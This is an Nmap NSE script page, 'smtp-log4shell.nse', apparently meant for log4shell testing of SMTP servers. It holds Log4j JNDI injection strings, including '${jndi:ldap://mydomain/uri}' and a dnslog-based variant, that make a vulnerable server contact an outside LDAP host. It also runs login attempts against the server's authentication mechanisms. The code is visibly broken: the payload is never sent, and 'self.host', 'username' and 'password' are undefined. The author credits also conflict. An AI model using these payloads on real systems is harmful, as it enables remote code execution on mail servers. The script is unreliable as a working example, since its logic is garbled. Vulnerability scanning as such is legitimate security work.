/
smtp-log4shell.nse
93 lines (76 loc) · 2.59 KB
/
smtp-log4shell.nse
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
local shortport = require "shortport"
local smtp = require "smtp"
local stdnse = require "stdnse"
description = [[
Performs log4shell auditing against SMTP servers using either LOGIN, PLAIN, CRAM-MD5, DIGEST-MD5 or NTLM authentication.
]]
---
-- @usage
-- nmap -p 25 --script smtp-log4shell <host>
--
-- @output
-- PORT STATE SERVICE REASON
-- 25/tcp open stmp syn-ack
--
-- Version 0.1
-- Created 2021-12-14 - v0.1 - created by Vlatko Kosturjak <kost@linux.hr>
author = "Patrik Karlsson"
license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
categories = {"log4shell","intrusive"}
portrule = shortport.port_or_service({ 25, 465, 587 },
{ "smtp", "smtps", "submission" })
local mech
local payload = stdnse.get_script_args(SCRIPT_NAME..".payload")
local gpayload = stdnse.get_script_args("log4shell.payload")
local function fail (err) return stdnse.format_output(false, err) end
action = function(host, port)
if not payload then
if not gpayload then
if nmap.registry['dnslog-cn'] then
stdnse.debug2("registry not present")
local registry = nmap.registry['dnslog-cn']
if registry.domain then
payload = "${jndi:ldap://{{target}}."..registry.domain.."}"
else
stdnse.debug2("session not present")
end
else
payload = "${jndi:ldap://mydomain/uri}"
end
stdnse.debug1("Setting the payload to default payload:"..payload)
else
payload=gpayload
end
end
local socket, response = smtp.connect(host, port, { ssl = true, recv_before = true })
if ( not(socket) ) then return fail("Failed to connect to SMTP server") end
local status, response = smtp.ehlo(socket, smtp.get_domain(host))
if ( not(status) ) then return fail("EHLO command failed, aborting ...") end
local mechs = smtp.get_auth_mech(response)
if ( not(mechs) ) then
return fail("Failed to retrieve authentication mechanisms form server")
end
smtp.quit(socket)
local mech_prio = stdnse.get_script_args("smtp-brute.auth")
mech_prio = ( mech_prio and { mech_prio } ) or
{ "LOGIN", "PLAIN", "CRAM-MD5", "DIGEST-MD5", "NTLM" }
for _, mp in ipairs(mech_prio) do
for _, m in pairs(mechs) do
if ( mp == m ) then
mech = m
break
end
end
if ( mech ) then break end
end
socket = smtp.connect(self.host, self.port, { ssl = true, recv_before = true })
local status, err = smtp.login( socket, username, password, mech )
if ( status ) then
smtp.quit(socket)
return 'Valid credential. Weird response for: '.. password
end
if ( err:match("^error: failed to .*") ) then
socket:close()
end
return
end